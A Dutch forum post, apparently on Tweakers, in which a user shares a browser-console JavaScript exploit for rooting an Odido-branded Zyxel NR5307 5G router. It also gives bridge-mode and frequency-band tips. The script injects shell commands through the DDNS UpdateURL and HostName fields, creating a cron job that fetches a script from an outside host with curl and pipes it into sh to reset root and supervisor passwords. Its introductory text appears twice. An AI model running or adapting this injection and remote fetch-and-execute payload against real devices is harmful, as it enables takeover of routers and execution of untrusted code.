Dag allemaal,
Op ons cluppie staat een Klik&Klaar torentje te shinen dat mijn aandacht trok, gehuld in een stoffen hoes. D.w.z. het Zyxel NR5307 5G modem (of router, zo je wilt). Het doet z'n ding en werkt prima. In de verloren uurtjes is het gelukt om root en supervisor toegang te verkrijgen, want waarom ook niet. Na het aanwenden van wat discipline heb ik een script gemaakt om het op een makkelijke manier te reproduceren. Deze deel ik met alle liefde.
Eerst inloggen als admin, daarna het script plakken in de console van je browser.
Als supervisor kun je nu de router in bridge zetten: Network Setting > Broadband > Cellular IP Passthrough
Deze tab wordt pas zichtbaar nadat je de mesh functie hebt uitgezet. Sluit je eigen router aan op de bovenste poort van de Zyxel (met label LAN1). De firewall van de Zyxel kun je eventueel uitzetten.
Missende frequentiebanden toevoegen:
Om de lage 700MHz, 800MHz en 900MHz banden toe te voegen, voer dit uit vanuit een shell met root:B5 (850MHz) heb ik juist weggelaten uit het rijtje, anders kwam er (meestal) geen verbinding tot stand. Een willekeurige band weghalen bleek te helpen, bij ons althans. Daarom gekozen voor B5, want die wordt toch niet gebruikt in Nederland.
Waar tijd het toelaat zal ik dit bericht blijven bijwerken met tips en tricks.
Op ons cluppie staat een Klik&Klaar torentje te shinen dat mijn aandacht trok, gehuld in een stoffen hoes. D.w.z. het Zyxel NR5307 5G modem (of router, zo je wilt). Het doet z'n ding en werkt prima. In de verloren uurtjes is het gelukt om root en supervisor toegang te verkrijgen, want waarom ook niet. Na het aanwenden van wat discipline heb ik een script gemaakt om het op een makkelijke manier te reproduceren. Deze deel ik met alle liefde.
Eerst inloggen als admin, daarna het script plakken in de console van je browser.
JavaScript:
In bridge zetten:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
| (async () => { /* * For use on Odido branded Zyxel NR5307 5G routers. * This enables SSH access, sets a new password for root and supervisor, disables operator management. * * Discussion at https://gathering.tweakers.net/forum/list_messages/2334782 * * How to use: * Open https://192.168.1.1 and login as admin. Press F12, click the Console tab and paste this script. * * Injects a cron job to execute at the next minute. * Lock mechanism to prevent potential parallel executions. Apparently each DDNS save from the web interface spawns another live cron instance, pointing to the same crontab. */ let newPassword = ""; // if left empty, a password will be generated const sessionKey = localStorage.getItem("zySessionKey"); const lockId = crypto.randomUUID().slice(0, 8); if (!sessionKey) { console.log("No session key"); return; } if (newPassword.length > 64) { console.log("Password exceeds 64 characters"); return; } if (!newPassword) { newPassword = simplesecpw(); } newPassword = newPassword.replaceAll("'", "'\\''"); const response = await fetch("/cgi-bin/DAL?oid=ddns&sessionkey=" + sessionKey, { method: "PUT", headers: { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", }, body: JSON.stringify({ Enable: true, ServiceProvider: "userdefined", ConnectionType: "HTTP", UpdateURL: "\n* * * * * mkdir /tmp/cron-" + lockId + ".lock && { curl -f -L -s -m 30 https://tikketak.alwaysdata.net/nr5307/set_root.sh | NEW_PASSWORD='" + newPassword + "' sh; :", HostName: "; ztr69cli set Device.X_ZYXEL_EXT.DynamicDNS.Enable=0 Device.X_ZYXEL_EXT.DynamicDNS.UpdateURL= Device.X_ZYXEL_EXT.DynamicDNS.HostName= Device.X_ZYXEL_EXT.DynamicDNS.UserName= Device.X_ZYXEL_EXT.DynamicDNS.Password=; rm /var/spool/cron/ddns/root; } #", UserName: "x", Password: "x" }), }, ); console.clear(); if (!response.ok) { console.log("HTTP error: " + response.status + " " + response.statusText); return; } const data = await response.json(); if (data.result !== "ZCFG_SUCCESS") { console.log("Unexpected result: " + data.result); return; } if (data.sessionkey) { localStorage.setItem("zySessionKey", data.sessionkey); } console.log("This password for root and supervisor will be set at the next minute:"); console.log(newPassword); // simplesecpw by Hanno Boeck function simplesecpw() { const pwlen = 15; const pwchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; const limit = 256 - (256 % pwchars.length); let passwd = ""; let randval; for (let i = 0; i < pwlen; i++) { do { randval = window.crypto.getRandomValues(new Uint8Array(1))[0]; } while (randval >= limit); passwd += pwchars[randval % pwchars.length]; } return passwd; } })(); |
Als supervisor kun je nu de router in bridge zetten: Network Setting > Broadband > Cellular IP Passthrough
Deze tab wordt pas zichtbaar nadat je de mesh functie hebt uitgezet. Sluit je eigen router aan op de bovenste poort van de Zyxel (met label LAN1). De firewall van de Zyxel kun je eventueel uitzetten.
Missende frequentiebanden toevoegen:
Om de lage 700MHz, 800MHz en 900MHz banden toe te voegen, voer dit uit vanuit een shell met root:
ztr69cli set Device.Cellular.Interface.1.X_ZYXEL_PreferredBands=B1,B3,B7,B8,B20,B28,B32,B38,B40,B41,B42,B43,n1,n3,n5,n7,n8,n20,n28,n38,n40,n41,n75,n76,n77,n78
Waar tijd het toelaat zal ik dit bericht blijven bijwerken met tips en tricks.